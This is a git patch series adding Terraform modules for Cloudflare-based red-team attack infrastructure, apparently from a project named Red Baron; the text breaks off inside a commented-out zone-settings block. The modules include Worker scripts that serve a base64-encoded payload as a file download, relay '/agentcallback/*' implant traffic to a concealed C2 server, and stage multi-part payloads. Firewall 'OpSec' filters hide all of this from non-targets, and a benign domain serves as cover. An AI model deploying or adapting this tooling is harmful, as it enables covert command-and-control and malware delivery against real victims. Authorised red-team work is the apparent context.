From 0db1c4a862aaac125ca25ffbda8e63cb9ac76b88 Mon Sep 17 00:00:00 2001 From: WheelsVT Date: Wed, 4 Mar 2020 16:07:01 -0500 Subject: [PATCH 1/8] Adding example cloudflare module usage --- examples/deploy-cf-infra.tf | 96 +++++++++++++++++++++++++++++++++++++ 1 file changed, 96 insertions(+) create mode 100644 examples/deploy-cf-infra.tf diff --git a/examples/deploy-cf-infra.tf b/examples/deploy-cf-infra.tf new file mode 100644 index 0000000..2d7eb99 --- /dev/null +++ b/examples/deploy-cf-infra.tf @@ -0,0 +1,96 @@ +// Minimum required TF version is 0.11.0 +/* +=================================================================================================== +EXAMPLE RED BARON CLOUDFLARE MODULE USAGE + +cloudflare/zone_creation : Creates a DNS zone and proxied CNAME records to benign downstream domain +cloudflare/cf-http-dropper : Creates OpSec filters and a worker script to serve a payload download + using a base-64 encoded string of the file contents. +cloudflare/cf-http-redirector : Creates OpSec filters and a worker script to redirect traffic to a + C2 server (must be name not IP). + Note: Ensure the C2 server only allows inbound traffic from CloudFlare IPs +cloudflare/cf-http-stager : Proof-of-concept module serving a multi-response JSON payload. Implant will need + to make initial and subsequent requests to combine and execute the payload. +=================================================================================================== + +INFORMATION FOR BLOCKING ALL IPs EXCEPT CLOUDFLARE SOURCES TO C2 NODES: + +Cloudflare IPs for inbound .htaccess +grabbed from https://www.cloudflare.com/ips-v4 <- should pull this dynamically +then create a aws-security group for allowed inbound on http-c2 (or http-rdir) +173.245.48.0/20 +103.21.244.0/22 +103.22.200.0/22 +103.31.4.0/22 +141.101.64.0/18 +108.162.192.0/18 +190.93.240.0/20 +188.114.96.0/20 +197.234.240.0/22 +198.41.128.0/17 +162.158.0.0/15 +104.16.0.0/12 +172.64.0.0/13 +131.0.72.0/22 + +https://www.linode.com/docs/web-servers/apache/how-to-set-up-htaccess-on-apache/#allow-ips +Create or edit the .htaccess file located in the web directory where you want this setting to be applied. + +Add the following lines to deny all IPs except for the specific IP and pool of IPs mentioned in the command: + +/var/www/html/example.com/public_html +order deny,allow +# Denies all IP's +Deny from all +# This will allow the IP 192.0.2.9 +allow from 192.0.2.9 +# This will allow all IP's from 192.0.2.0 through 192.0.2.255 +allow from 192.0.2 +=================================================================================================== +*/ + +terraform { + required_version = ">= 0.11.0" +} + +module "zone" { + source = "./modules/cloudflare/zone_creation" + my_domain_name = "DOMAINNAME" //our frontend domain + benign_domain = "google.com" //the benign domain where non-agents, targets, should be redirected + a_record = "www" + //you'll need this: ${module.zone.zone_id} +} + +module "http-redirector" { + source = "./modules/cloudflare/cf-http-redirector" + zone_id = "${module.zone.zone_id}" + + my_domain_name = "DOMAINNAME" //our frontend domain + uri_pattern = "/agentcallback/*" //the URI that should be redirected to C2 + filter_selection = "country" //filter setting (none, country, user_agent, referer, all) + country = "US" //override default filter details +} + +module "http-dropper" { + source = "./modules/cloudflare/cf-http-dropper" + zone_id = "${module.zone.zone_id}" + + my_domain_name = "DOMAINNAME" //our frontend domain + uri_pattern = "/downloads/*" //the URI that should be redirected to a payload + filter_selection = "country" //filter map setting + filename = "test.bat" //filename to present to user + file_content = "aGVsbG8gd29ybGQ=" //Base64 encoded payload (hello world) +} + + +module "http-stager" { + source = "./modules/cloudflare/cf-http-stager" + zone_id = "${module.zone.zone_id}" + my_domain_name = "DOMAINNAME" //our frontend domain + + first_stage_uri_pattern = "/stage1/*" //the URI that should be redirected to first payload + second_stage_uri_pattern = "/stage2/*" //the URI that should be redirected to the second payload + filter_selection = "country" //filter map setting + first_stage_json = "{\"data\":\"blah\"}" //json payload + second_stage_json = "{\"data\":\"blah\"}" //json payload +} \ No newline at end of file From 339069248aeffbd0c1fb51d88f1fc77f1336f28e Mon Sep 17 00:00:00 2001 From: WheelsVT Date: Wed, 4 Mar 2020 16:52:33 -0500 Subject: [PATCH 2/8] Example CloudFlare module usage minor corrections --- examples/deploy-cf-infra.tf | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/examples/deploy-cf-infra.tf b/examples/deploy-cf-infra.tf index 2d7eb99..a51fffe 100644 --- a/examples/deploy-cf-infra.tf +++ b/examples/deploy-cf-infra.tf @@ -57,7 +57,7 @@ module "zone" { source = "./modules/cloudflare/zone_creation" my_domain_name = "DOMAINNAME" //our frontend domain benign_domain = "google.com" //the benign domain where non-agents, targets, should be redirected - a_record = "www" + cname_record = "www" //you'll need this: ${module.zone.zone_id} } @@ -66,6 +66,7 @@ module "http-redirector" { zone_id = "${module.zone.zone_id}" my_domain_name = "DOMAINNAME" //our frontend domain + c2_server = "DESTINATION" //the backend C2 server uri_pattern = "/agentcallback/*" //the URI that should be redirected to C2 filter_selection = "country" //filter setting (none, country, user_agent, referer, all) country = "US" //override default filter details From 9c3bc0e37d2852d74ac783179e2d63f2c7de5db1 Mon Sep 17 00:00:00 2001 From: Steve Walker Date: Wed, 4 Mar 2020 16:57:59 -0500 Subject: [PATCH 3/8] Adding CloudFlare modules --- modules/cloudflare/cf-http-dropper/README.md | 36 +++++++ modules/cloudflare/cf-http-dropper/main.tf | 33 +++++++ .../cloudflare/cf-http-dropper/variables.tf | 71 ++++++++++++++ .../cloudflare/cf-http-redirector/README.md | 38 ++++++++ modules/cloudflare/cf-http-redirector/main.tf | 33 +++++++ .../cf-http-redirector/variables.tf | 56 +++++++++++ modules/cloudflare/cf-http-stager/README.md | 38 ++++++++ modules/cloudflare/cf-http-stager/main.tf | 59 ++++++++++++ .../cloudflare/cf-http-stager/variables.tf | 78 ++++++++++++++++ modules/cloudflare/filter/README.md | 34 +++++++ modules/cloudflare/filter/main.tf | 6 ++ modules/cloudflare/filter/variables.tf | 44 +++++++++ modules/cloudflare/firewall_rule/README.md | 24 +++++ modules/cloudflare/firewall_rule/main.tf | 17 ++++ modules/cloudflare/firewall_rule/variables.tf | 14 +++ modules/cloudflare/worker_creation/README.md | 27 ++++++ modules/cloudflare/worker_creation/main.tf | 26 ++++++ .../cloudflare/worker_creation/variables.tf | 15 +++ modules/cloudflare/zone_creation/README.md | 25 +++++ modules/cloudflare/zone_creation/main.tf | 93 +++++++++++++++++++ modules/cloudflare/zone_creation/variables.tf | 17 ++++ 21 files changed, 784 insertions(+) create mode 100644 modules/cloudflare/cf-http-dropper/README.md create mode 100644 modules/cloudflare/cf-http-dropper/main.tf create mode 100644 modules/cloudflare/cf-http-dropper/variables.tf create mode 100644 modules/cloudflare/cf-http-redirector/README.md create mode 100644 modules/cloudflare/cf-http-redirector/main.tf create mode 100644 modules/cloudflare/cf-http-redirector/variables.tf create mode 100644 modules/cloudflare/cf-http-stager/README.md create mode 100644 modules/cloudflare/cf-http-stager/main.tf create mode 100644 modules/cloudflare/cf-http-stager/variables.tf create mode 100644 modules/cloudflare/filter/README.md create mode 100644 modules/cloudflare/filter/main.tf create mode 100644 modules/cloudflare/filter/variables.tf create mode 100644 modules/cloudflare/firewall_rule/README.md create mode 100644 modules/cloudflare/firewall_rule/main.tf create mode 100644 modules/cloudflare/firewall_rule/variables.tf create mode 100644 modules/cloudflare/worker_creation/README.md create mode 100644 modules/cloudflare/worker_creation/main.tf create mode 100644 modules/cloudflare/worker_creation/variables.tf create mode 100644 modules/cloudflare/zone_creation/README.md create mode 100644 modules/cloudflare/zone_creation/main.tf create mode 100644 modules/cloudflare/zone_creation/variables.tf diff --git a/modules/cloudflare/cf-http-dropper/README.md b/modules/cloudflare/cf-http-dropper/README.md new file mode 100644 index 0000000..61a167a --- /dev/null +++ b/modules/cloudflare/cf-http-dropper/README.md @@ -0,0 +1,36 @@ +# cf-http-dropper + +Creates a HTTP payload dropper all in CloudFlare using Worker scripts. + +# Example + +```hcl +module "http-dropper" { + source = "./modules/cloudflare/cf-http-dropper" + zone_id = "${module.zone.zone_id}" + + my_domain_name = "DOMAINNAME" //our frontend domain + uri_pattern = "/downloads/*" //the URI that should be redirected to a payload + filter_selection = "country" //filter map setting + filename = "test.bat" //filename to present to user + file_content = "aGVsbG8gd29ybGQ=" //Base64 encoded payload (hello world) +} +``` + +# Arguments + +| Name | Required | Value Type | Description +|---------------------------| -------- | ---------- | ----------- +|`zone_id` | Yes | String | Reference to the Zone to host the redirector +|`my_domain_name` | Yes | String | Domain name to use +|`uri_pattern` | Yes | String | URI pattern that will redirect to the payload +|`filter_selection` | Yes | String | OpSec filter selection (all, country, user_agent, referer) +|`filename` | Yes | String | Filename to send the client +|`file_content` | Yes | String | Base64 encoded file contents +|`user_agent` | No | String | Override user agent filter (if used) +|`country` | No | String | Override country filter (if used) +|`referer` | No | String | Override referer filter (if used) +|`description` | No | String | Override Firewall rule +|`visit_action` | No | String | Override Firewall action (block or captcha) +|`worker_name` | No | String | Override Worker name prefix (cf-http-redirector) +|`worker_script_content` | No | String | Override Worker content (heart of the redirection) diff --git a/modules/cloudflare/cf-http-dropper/main.tf b/modules/cloudflare/cf-http-dropper/main.tf new file mode 100644 index 0000000..321c1c6 --- /dev/null +++ b/modules/cloudflare/cf-http-dropper/main.tf @@ -0,0 +1,33 @@ +terraform { + required_version = ">= 0.11.0" +} + + + +//Need Filter --> Firewall Rule +module "http-filter" { + source = "../filter" + zone_id = "${var.zone_id}" + URI = "${var.uri_pattern}" + UA = "${var.user_agent}" + referer = "${var.referer}" + filter_selection = "${var.filter_selection}" +} + +module "http-firewall" { + source = "../firewall_rule" + zone_id = "${var.zone_id}" + description = "${var.description}" + f_id = "${module.http-filter.filter_id}" + action = "${var.visit_action}" +} + +//Then worker route and finally a script to do the redirection +//make sure we name the script the same in deploy. +module "worker" { + source = "../worker_creation" + matching_uri = "${format("%s%s",var.my_domain_name, var.uri_pattern)}" + worker_script_content = "${replace(replace(var.worker_script_content,"BASE64FILECONTENT",var.file_content),"FILENAME",var.filename)}" + worker_name = "${var.worker_name}" + zid = "${var.zone_id}" +} \ No newline at end of file diff --git a/modules/cloudflare/cf-http-dropper/variables.tf b/modules/cloudflare/cf-http-dropper/variables.tf new file mode 100644 index 0000000..9ebc503 --- /dev/null +++ b/modules/cloudflare/cf-http-dropper/variables.tf @@ -0,0 +1,71 @@ + +variable "uri_pattern" { + +} + +variable "filter_selection" { +} + +variable "worker_name" { + default = "cf-http-dropper"//won't need to change unless more than one dropper +} + +variable "zone_id" { +} + +variable "my_domain_name" { + +} + +variable "file_content" { +} +variable "filename" { +} + +//our default C2 script - just pass request on to target domain +variable "worker_script_content" { + default = <<-EOF +payload = "BASE64FILECONTENT" +function base64Encode (buf) { +let string = ''; +(new Uint8Array(buf)).forEach( +(byte) => { string += String.fromCharCode(byte) } +) +return btoa(string) +} +function base64Decode (string) { +string = atob(string); +const +length = string.length, +buf = new ArrayBuffer(length), +bufView = new Uint8Array(buf); +for (var i = 0; i < length; i++) { bufView[i] = string.charCodeAt(i) } +return buf +} +async function handleRequest(request) { +let response = new Response(base64Decode(payload), { +headers: { 'Content-Disposition': 'attachment; filename="FILENAME"' } +}) +return response}addEventListener('fetch', event => { event.respondWith(handleRequest(event.request))}) +EOF +} + +variable "user_agent" { + default = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36" +} + +variable "visit_action" { + default = "block" +} +variable "description" { + default = "Dropper-Filter" +} + +variable "referer" { + default = "NONE" +} + +variable "country" { + default = "US" +} + diff --git a/modules/cloudflare/cf-http-redirector/README.md b/modules/cloudflare/cf-http-redirector/README.md new file mode 100644 index 0000000..ed61323 --- /dev/null +++ b/modules/cloudflare/cf-http-redirector/README.md @@ -0,0 +1,38 @@ +# cf-http-rdir + +Creates a HTTP payload dropper all in CloudFlare using Worker scripts. +Note: the + +# Example + +```hcl +module "http-redirector" { + source = "./modules/cloudflare/cf-http-redirector" + zone_id = "${module.zone.zone_id}" + + my_domain_name = "DOMAINNAME" //our frontend domain + c2_server = "DESTINATION" //our backend domain + uri_pattern = "/agentcallback/*" //the URI that should be redirected to C2 + filter_selection = "country" //filter setting (none, country, user_agent, referer, all) + country = "US" //override default filter details +} +``` + +# Arguments + +| Name | Required | Value Type | Description +|---------------------------| -------- | ---------- | ----------- +|`zone_id` | Yes | String | Reference to the Zone to host the redirector +|`my_domain_name` | Yes | String | Domain name to use +|`c2_server` | Yes | String | FQDN of our C2 server (CloudFlare refuses IPs) +|`uri_pattern` | Yes | String | URI pattern that will redirect to C2 server +|`filter_selection` | Yes | String | OpSec filter selection (all, country, user_agent, referer) +|`filename` | Yes | String | Filename to send the client +|`file_content` | Yes | String | Base64 encoded file contents +|`user_agent` | No | String | Override user agent filter (if used) +|`country` | No | String | Override country filter (if used) +|`referer` | No | String | Override referer filter (if used) +|`description` | No | String | Override Firewall rule +|`worker_name` | No | String | Override Worker name prefix (cf-http-redirector) +|`worker_script_content` | No | String | Override Worker content (heart of the redirection) + diff --git a/modules/cloudflare/cf-http-redirector/main.tf b/modules/cloudflare/cf-http-redirector/main.tf new file mode 100644 index 0000000..6e5ffb1 --- /dev/null +++ b/modules/cloudflare/cf-http-redirector/main.tf @@ -0,0 +1,33 @@ +terraform { + required_version = ">= 0.11.0" +} + + + +//Need Filter --> Firewall Rule +module "http-filter" { + source = "../filter" + zone_id = "${var.zone_id}" + URI = "${var.uri_pattern}" + UA = "${var.user_agent}" + referer = "${var.referer}" + filter_selection = "${var.filter_selection}" +} + +module "http-firewall" { + source = "../firewall_rule" + zone_id = "${var.zone_id}" + description = "${var.description}" + f_id = "${module.http-filter.filter_id}" + action = "block" +} + +//Then worker route and finally a script to do the redirection +//make sure we name the script the same in deploy. +module "worker-route" { + source = "../worker_creation" + matching_uri = "${format("%s%s",var.my_domain_name, var.uri_pattern)}" + worker_name = "${var.worker_name}" + worker_script_content = "${replace(var.worker_script_content,"C2DOMAIN",var.c2_server)}" + zid = "${var.zone_id}" +} \ No newline at end of file diff --git a/modules/cloudflare/cf-http-redirector/variables.tf b/modules/cloudflare/cf-http-redirector/variables.tf new file mode 100644 index 0000000..6b09a6c --- /dev/null +++ b/modules/cloudflare/cf-http-redirector/variables.tf @@ -0,0 +1,56 @@ + +variable "uri_pattern" { + +} + +variable "user_agent" { + default = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36" +} + +variable "description" { + default = "C2-Filter" +} + +variable "referer" { + default = "NONE" +} + +variable "country" { + default = "US" +} + +variable "filter_selection" { +} + +variable "worker_name" { + default = "cf-http-redirector"//won't need to change unless more than one redirector needed +} + +variable "zone_id" { +} + +variable "my_domain_name" { + +} + +variable "c2_server" { + +} + +//our default C2 script - just pass request on to target domain +variable "worker_script_content" { + default = <<-EOF +addEventListener('fetch', event => { +event.respondWith(handleRequest(event.request)) +}) +/* +* Respond to the request +* @param {Request} +*/ +async function handleRequest(request) { +let url = new URL(request.url) +url.hostname = "C2DOMAIN" +return fetch(url, request) +} +EOF +} diff --git a/modules/cloudflare/cf-http-stager/README.md b/modules/cloudflare/cf-http-stager/README.md new file mode 100644 index 0000000..2439f68 --- /dev/null +++ b/modules/cloudflare/cf-http-stager/README.md @@ -0,0 +1,38 @@ +# cf-http-stager + +Proof-of-concept code for a Worker that sends a multi-request JSON response for an implant (code not created yet) using a combination of the other cf modules. +Note that the second stage request must be a POST as currently configured in the worker script for an example of using different validation checks between payload requests. + +# Example + +```hcl +module "http-stager" { + source = "./modules/cloudflare/cf-http-stager" + zone_id = "${module.zone.zone_id}" + my_domain_name = "DOMAINNAME" //our frontend domain + + first_stage_uri_pattern = "/stage1/*" //the URI that should be redirected to first payload + second_stage_uri_pattern = "/stage2/*" //the URI that should be redirected to the second payload + filter_selection = "country" //filter map setting + first_stage_json = "{\"data\":\"blah\"}" //json payload + second_stage_json = "{\"data\":\"blah\"}" //json payload +} +``` + +# Arguments + +| Name | Required | Value Type | Description +|---------------------------| -------- | ---------- | ----------- +|`zone_id` | Yes | String | Reference to the Zone to host the redirector +|`my_domain_name` | Yes | String | Domain name to use +|`first_stage_uri_pattern` | Yes | String | URI pattern that will redirect to the first payload +|`second_stage_uri_pattern` | Yes | String | URI pattern that will redirect to the second payload +|`filter_selection` | Yes | String | OpSec filter selection (all, country, user_agent, referer) +|`first_stage_json` | Yes | String | JSON response to return for a valid first stage request +|`second_stage_json` | Yes | String | JSON response to return for a valid second stage request +|`user_agent` | No | String | Override user agent filter (if used) +|`country` | No | String | Override country filter (if used) +|`referer` | No | String | Override referer filter (if used) +|`description` | No | String | Override Firewall rule +|`worker_name` | No | String | Override Worker name prefix (cf-http-redirector) +|`worker_script_content` | No | String | Override Worker content (heart of the redirection) diff --git a/modules/cloudflare/cf-http-stager/main.tf b/modules/cloudflare/cf-http-stager/main.tf new file mode 100644 index 0000000..847273c --- /dev/null +++ b/modules/cloudflare/cf-http-stager/main.tf @@ -0,0 +1,59 @@ +terraform { + required_version = ">= 0.11.0" +} + + + +//Need Filter --> Firewall Rule +module "http-filter-stage1" { + source = "../filter" + zone_id = "${var.zone_id}" + URI = "${var.first_stage_uri_pattern}" + UA = "${var.user_agent}" + referer = "${var.referer}" + filter_selection = "${var.filter_selection}" +} + +module "http-firewall-stage1" { + source = "../firewall_rule" + zone_id = "${var.zone_id}" + description = "${var.description}" + f_id = "${module.http-filter-stage1.filter_id}" + action = "block" +} + +module "http-filter-stage2" { + source = "../filter" + zone_id = "${var.zone_id}" + URI = "${var.second_stage_uri_pattern}" + UA = "${var.user_agent}" + referer = "${var.referer}" + filter_selection = "${var.filter_selection}" +} + +module "http-firewall-stage2" { + source = "../firewall_rule" + zone_id = "${var.zone_id}" + description = "${var.description}" + f_id = "${module.http-filter-stage2.filter_id}" + action = "block" +} + +//Then worker route and finally a script to do the redirection +//make sure we name the script the same in deploy. +module "worker-route-stage1"{ + source = "../worker_creation" + matching_uri = "${format("%s%s",var.my_domain_name, var.first_stage_uri_pattern)}" + worker_name = "${var.worker_name}1" + worker_script_content = "${replace(replace(replace(replace(var.worker_script_content,"FIRSTSTAGE",var.first_stage_uri_pattern),"SECONDSTAGE",var.second_stage_uri_pattern),"SOMEJSON1",var.first_stage_json),"SOMEJSON2",var.second_stage_json)}" + zid = "${var.zone_id}" +} + +//same worker script handles both as it checks self-generated hand-off +module "worker-route-stage2"{ + source = "../worker_creation" + matching_uri = "${format("%s%s",var.my_domain_name, var.second_stage_uri_pattern)}" + worker_name = "${var.worker_name}2" + worker_script_content = "${replace(replace(replace(replace(var.worker_script_content,"FIRSTSTAGE",var.first_stage_uri_pattern),"SECONDSTAGE",var.second_stage_uri_pattern),"SOMEJSON1",var.first_stage_json),"SOMEJSON2",var.second_stage_json)}" + zid = "${var.zone_id}" +} \ No newline at end of file diff --git a/modules/cloudflare/cf-http-stager/variables.tf b/modules/cloudflare/cf-http-stager/variables.tf new file mode 100644 index 0000000..ca945b3 --- /dev/null +++ b/modules/cloudflare/cf-http-stager/variables.tf @@ -0,0 +1,78 @@ + +variable "first_stage_uri_pattern" { + +} +variable "second_stage_uri_pattern" { + +} +variable "filter_selection" { +} + +variable "worker_name" { + default = "cf-http-stager"//don't need to change default unless we have more than 1 stager module +} + +variable "zone_id" { +} + +variable "my_domain_name" { + +} + +variable "first_stage_json" { + +} + +variable "second_stage_json" { + +} + + +variable "description" { + default = "C2-Filter" +} +//Firewall filter definitions +variable "user_agent" { + default = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36" +} +variable "referer" { + default = "NONE" +} +variable "country" { + default = "US" +} + +//our default C2 script - just pass request on to target domain +variable "worker_script_content" { + default = <<-EOF +addEventListener('fetch', event => { +event.respondWith(handleRequest(event.request)) +}) +function stage_one_handler(request) { +const init = { +headers: { 'content-type': 'application/json' }, +} +//const body = JSON.stringify({ some: 'json' }) +const body = JSON.stringify(SOMEJSON1) +return new Response(body, init) +} +function stage_two_handler(request) { +const init = { +headers: { 'content-type': 'application/json' }, +} +//const body = JSON.stringify({ some: 'json2' }) +const body = JSON.stringify(SOMEJSON2) +return new Response(body, init) +} +async function handleRequest(request) { +let url = new URL(request.url) +if (url.pathname.includes("FIRSTSTAGE")) { +return new stage_one_handler(request) +} +if (request.method === 'POST' && url.pathname.includes("SECONDSTAGE")) { +return new stage_two_handler(request) +} +return new Response( 'Some other time.') +} +EOF +} \ No newline at end of file diff --git a/modules/cloudflare/filter/README.md b/modules/cloudflare/filter/README.md new file mode 100644 index 0000000..131cc78 --- /dev/null +++ b/modules/cloudflare/filter/README.md @@ -0,0 +1,34 @@ +# filter + +Creates a filter to be assigned to a CloudFlare firewall rule + +# Example + +```hcl +module "http-filter-name" { + source = "../filter" + zone_id = "${var.zone_id}" + URI = "${var.uri_pattern}" + UA = "${var.user_agent}" + referer = "${var.referer}" + filter_selection = "${var.filter_selection}" +} +``` + +# Arguments + +| Name | Required | Value Type | Description +|---------------------------| -------- | ---------- | ----------- +|`zone_id` | Yes | String | Reference to the Zone to host the redirector +|`URI` | No | String | Matching URI pattern to match +|`UA` | No | String | URI pattern that will redirect to the first payload +|`Country` | No | String | Override country filter (if used) +|`referer` | No | String | Override referer filter (if used) + +# Outputs + +| Name | Value Type | Description +|---------------------------| ---------- | ----------- +|`filter_id` | Int | Used by Firewall Rules to reference the filter +|`filter_string` | String | String containing the mapped filter selection +|`f_types` | Map | Map of potential firewall filter sets and the rule strings diff --git a/modules/cloudflare/filter/main.tf b/modules/cloudflare/filter/main.tf new file mode 100644 index 0000000..5c64898 --- /dev/null +++ b/modules/cloudflare/filter/main.tf @@ -0,0 +1,6 @@ +resource "cloudflare_filter" "filter" { + zone_id = var.zone_id + description = "" + expression = "${replace(replace(replace(replace("${lookup(var.f_types,var.filter_selection,"na")}", "URISTRING", var.URI), "UASTRING", var.UA), "COUNTRYSTRING", var.Country), "REFERERSTRING", var.referer)}" +} + diff --git a/modules/cloudflare/filter/variables.tf b/modules/cloudflare/filter/variables.tf new file mode 100644 index 0000000..7d4f92f --- /dev/null +++ b/modules/cloudflare/filter/variables.tf @@ -0,0 +1,44 @@ + + + +variable "zone_id" { +} + +variable "URI" { + default = "www" +} + +variable "referer" { + default = "INSERT MOST COMMON UA HERE" +} + +variable "UA" { + default = "INSERT MOST COMMON UA HERE" +} + +variable "Country" { + default = "US" +} + +variable "f_types" { + type = "map" + default = { + "none" = "(http.request.uri contains \"URISTRING\")" + "all" = "(http.request.uri contains \"URISTRING\" and ip.geoip.country ne \"COUNTRYSTRING\") or (http.request.uri contains \"URISTRING\" and http.user_agent ne \"UASTRING\") or (http.request.uri contains \"URISTRING\" and http.referer ne \"REFERERSTRING\")" + "user_agent" = "(http.request.user_agent contains \"URISTRING\" and http.user_agent ne \"USERAGENTSTRING\")" + "referer" = "(http.request.uri contains \"URISTRING\" and http.referer ne \"REFERERSTRING\")" + "country" = "(http.request.uri contains \"URISTRING\" and ip.geoip.country ne \"COUNTRYSTRING\")" + } +} + +output "filter_string" { + value = "${lookup(var.f_types,var.filter_selection,"none")}" +} + +variable "filter_selection" { + default = "country" +} + +output "filter_id" { + value = "${cloudflare_filter.filter.id}" +} \ No newline at end of file diff --git a/modules/cloudflare/firewall_rule/README.md b/modules/cloudflare/firewall_rule/README.md new file mode 100644 index 0000000..5c46b21 --- /dev/null +++ b/modules/cloudflare/firewall_rule/README.md @@ -0,0 +1,24 @@ +# firewall_rule + +Creates a CloudFlare firewall rule + +# Example + +```hcl +module "http-firewall" { + source = "../firewall_rule" + zone_id = "${var.zone_id}" + description = "${var.description}" + f_id = "${module.http-filter.filter_id}" + action = "block" +} +``` + +# Arguments + +| Name | Required | Value Type | Description +|---------------------------| -------- | ---------- | ----------- +|`zone_id` | Yes | String | Reference to the Zone to host the redirector +|`description` | Yes | String | Firewall rule name +|`f_id` | Yes | String | CloudFlare Filter ID containing the rule logic +|`action` | No | String | Override the default action (Block vs captcha) diff --git a/modules/cloudflare/firewall_rule/main.tf b/modules/cloudflare/firewall_rule/main.tf new file mode 100644 index 0000000..da9263b --- /dev/null +++ b/modules/cloudflare/firewall_rule/main.tf @@ -0,0 +1,17 @@ + + +resource "random_id" "firewall_rule" { + keepers = { + #Generate a new id each time we switch to a new worker name + name = "${var.description}" + } + byte_length = 8 +} + +resource "cloudflare_firewall_rule" "firewall_rule_agent" { + zone_id = "${var.zone_id}" + description = "${var.description}_${random_id.firewall_rule.hex}" + filter_id = "${var.f_id}" + action = "${var.action}"//challenge or block + //priority = 1000//sets the order - higher is lower, but shouldn't need this if URI matches differ +} \ No newline at end of file diff --git a/modules/cloudflare/firewall_rule/variables.tf b/modules/cloudflare/firewall_rule/variables.tf new file mode 100644 index 0000000..24a2f3e --- /dev/null +++ b/modules/cloudflare/firewall_rule/variables.tf @@ -0,0 +1,14 @@ + variable "zone_id" { + } + + variable "description" { + } + +//filter_id + variable "f_id" { + } + +//block of challenge +variable "action" { + default = "block" +} diff --git a/modules/cloudflare/worker_creation/README.md b/modules/cloudflare/worker_creation/README.md new file mode 100644 index 0000000..4160ed4 --- /dev/null +++ b/modules/cloudflare/worker_creation/README.md @@ -0,0 +1,27 @@ +# worker_creation + +Creates a CloudFlare Worker Route and Worker Script +Note that the matching URI accepts wildcards. + +matching_uri example: `*.example.com\blah*` would match requests CloudFlare handles for all subdomains of example.com that also are requesting a URI that begins with `blah`. + +# Example + +```hcl +module "worker-route" { + source = "../worker_creation" + matching_uri = "${format("%s%s",var.my_domain_name, var.uri_pattern)}" + worker_name = "${var.worker_name}" + worker_script_content = "${replace(var.worker_script_content,"C2DOMAIN",var.c2_server)}" + zid = "${var.zone_id}" +} +``` + +# Arguments + +| Name | Required | Value Type | Description +|---------------------------| -------- | ---------- | ----------- +|`zid` | Yes | String | Reference to the Zone to host the redirector +|`matching_uri` | Yes | String | URI Pattern to match (use * wildcard) +|`worker_name` | Yes | String | Worker name to use, will append a unique value +|`worker_script_content` | Yes | String | Worker script content diff --git a/modules/cloudflare/worker_creation/main.tf b/modules/cloudflare/worker_creation/main.tf new file mode 100644 index 0000000..e0b6c27 --- /dev/null +++ b/modules/cloudflare/worker_creation/main.tf @@ -0,0 +1,26 @@ +//WORKER SCRIPT CREATION IS BROKEN. +//USE THE DEPLOY SCRIPT TO GENERATE THE WORKER SCRIPT +//WITH MATCHING VARIABLES FROM THIS MODULE. + +// * cloudflare_worker_script.worker_script: error creating worker script: account ID required for enterprise only request + +resource "random_id" "worker_script" { + keepers = { + #Generate a new id each time we switch to a new worker name + name = "${var.worker_name}" + } + byte_length = 8 +} + +resource "cloudflare_worker_script" "worker_script" { + name = "${var.worker_name}_${random_id.worker_script.hex}" + content = "${var.worker_script_content}" +} + +resource "cloudflare_worker_route" "worker_request" { + + pattern = "${var.matching_uri}" + zone_id = "${var.zid}" + script_name = "${var.worker_name}_${random_id.worker_script.hex}" +} + diff --git a/modules/cloudflare/worker_creation/variables.tf b/modules/cloudflare/worker_creation/variables.tf new file mode 100644 index 0000000..27f25af --- /dev/null +++ b/modules/cloudflare/worker_creation/variables.tf @@ -0,0 +1,15 @@ +variable "matching_uri" { +} + +//use this variable to tie instances (route and worker) together +//for a given module +variable "worker_name" { + default = "worker_name" +} + +variable "zid" { +} + +variable "worker_script_content" { + default = "\\test" +} \ No newline at end of file diff --git a/modules/cloudflare/zone_creation/README.md b/modules/cloudflare/zone_creation/README.md new file mode 100644 index 0000000..0e04276 --- /dev/null +++ b/modules/cloudflare/zone_creation/README.md @@ -0,0 +1,25 @@ +# filter + +Creates a CloudFlare Worker Zone for managing a domain name. Prerequisite for any CF modules. + +Note: Currently, there is no module for changing your domain name NS records to CloudFlare's. Usually CloudFlare instructs you to configure `angela.cloudflare.com` and `gannon.cloudflare.com` as authoritative nameservers for your domain. You will need to do this to use these modules. + +# Example + +```hcl +module "zone" { + source = "./modules/cloudflare/zone_creation" + my_domain_name = "DOMAINNAME" //our frontend domain + benign_domain = "google.com" //the benign domain where non-agents, targets, should be redirected + a_record = "www" + //you'll need this: ${module.zone.zone_id} +} +``` + +# Arguments + +| Name | Required | Value Type | Description +|---------------------------| -------- | ---------- | ----------- +|`my_domain_name` | Yes | String | The domain that CloudFlare should handle +|`benign_domain` | Yes | String | Benign domain to send any unmatched requests +|`cname_record` | No | String | Override additional CNAME record entry that should be added, defaults to `www` diff --git a/modules/cloudflare/zone_creation/main.tf b/modules/cloudflare/zone_creation/main.tf new file mode 100644 index 0000000..0875bfa --- /dev/null +++ b/modules/cloudflare/zone_creation/main.tf @@ -0,0 +1,93 @@ +//setup our benign CNAME relay. No need to clone + +//our overall domain +resource "cloudflare_zone" "target_domain" { + zone = "${var.my_domain_name}" + plan = "free" +} + +//set the @ record +resource "cloudflare_record" "benign_CNAME" { + zone_id = "${cloudflare_zone.target_domain.id}" + name = "${var.my_domain_name}" + type = "CNAME" + ttl = "1" + proxied = "true" + value = "${var.benign_domain}" +} + +//another benign CNAME relay for good measure +resource "cloudflare_record" "benign_www_CNAME" { + zone_id = "${cloudflare_zone.target_domain.id}" + name = "${var.cname_record}" + type = "CNAME" + ttl = "1" + proxied = "true" + value = "${var.benign_domain}" +} + +/* +resource "cloudflare_zone_settings_override" "zone_settings_override"{ + zone_id = "${cloudflare_zone.target_domain.id}" + settings { + always_online = "off" + always_use_https = "off" + automatic_https_rewrites = "on" + brotli = "on" + browser_cache_ttl = 1800 + browser_check = "on" + cache_level = "basic" + challenge_ttl = 1800 + cname_flattening = "flatten_at_root" + development_mode = "off" + edge_cache_ttl = 7200 + email_obfuscation = "on" + hotlink_protection = "off" + http2 = "on" + http3 = "off" + ip_geolocation = "on" + ipv6 = "on" + max_upload = 100 + min_tls_version = "1.0" + minify { + css = "off" + html = "off" + js = "off" + } + + mobile_redirect { + mobile_subdomain = "" + status = "off" + strip_uri = false + } + + 